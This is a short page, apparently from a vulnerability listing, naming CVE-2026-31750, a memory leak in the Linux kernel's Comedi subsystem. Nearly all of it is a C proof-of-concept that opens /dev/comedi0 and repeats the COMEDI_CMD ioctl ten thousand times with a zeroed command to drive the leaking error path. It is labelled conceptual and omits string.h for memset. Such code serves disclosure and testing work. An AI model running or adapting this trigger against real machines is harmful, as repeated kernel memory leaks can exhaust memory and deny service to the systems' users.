CVE-2026-31750 Linux内核Comedi内存泄漏漏洞

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/comedi.h> // Conceptual PoC for CVE-2026-31750 // This code attempts to trigger the memory leak in the comedi subsystem // by invoking the ioctl in a way that hits the exceptional exit path. int main() { int fd; struct comedi_cmd cmd; // Attempt to open a comedi device (requires hardware or dummy driver) fd = open("/dev/comedi0", O_RDWR); if (fd < 0) { perror("Failed to open /dev/comedi0"); return 1; } // Initialize command structure to trigger the vulnerable path // Specific values depend on the driver implementation to force the error case memset(&cmd, 0, sizeof(cmd)); printf("Triggering memory leak..."); for (int i = 0; i < 10000; i++) { // The COMEDI_CMD ioctl triggers do_cmd_ioctl // If an error occurs before runflags is set, the leak happens int ret = ioctl(fd, COMEDI_CMD, &cmd); if (ret == -1) { // Expected error path where leak occurs } } close(fd); return 0; }